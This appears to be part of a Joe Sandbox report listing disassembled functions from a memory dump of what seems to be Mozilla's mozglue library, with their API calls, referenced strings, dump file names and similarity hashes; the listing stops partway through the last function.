Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

kernel32.dll, xrefs: 6C9B7557
UnmapViewOfFile2, xrefs: 6C9B7552

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC
Could not find CoTaskMemFree, xrefs: 6C95F0E3
ole32, xrefs: 6C95F0AD

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

wintrust.dll, xrefs: 6C9900D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

ntdll.dll, xrefs: 6C9B75B3
RtlNtStatusToDosError, xrefs: 6C9B75D1

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

ntdll.dll, xrefs: 6C9B7603
NtUnmapViewOfSection, xrefs: 6C9B7621

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction ID: 778ac0424efc2c184f9cf4d152fd8beb73a8cb29c4d2ddf13372aeb212a43488
Opcode Fuzzy Hash: e85a125eca344988a789748d39649748eb56f54624cf086519c45077b0b5a3a6
Instruction Fuzzy Hash: 6A41D132B05A168FDB48CE7C8D9036AB6B4EB49B14F650139E918F7784D7A1AD808BD1

Function 6C954DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C954EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C954F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C954F1E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction ID: b1df8f9db74fa726fa3717e1108051fe95a492a82b2905c21d5392e83629f895
Opcode Fuzzy Hash: bb14178c740c82bfc4c468047a3b685c75b069f3137399ea0622dc03361bfba7
Instruction Fuzzy Hash: 7641DE716087019FC745CF29C88095BBBE8BF99344F508A2DF86697B41DB31E978CB92

Function 6C961530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C96159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C96152B,?,?,?,?,6C961248,?), ref: 6C9615BC
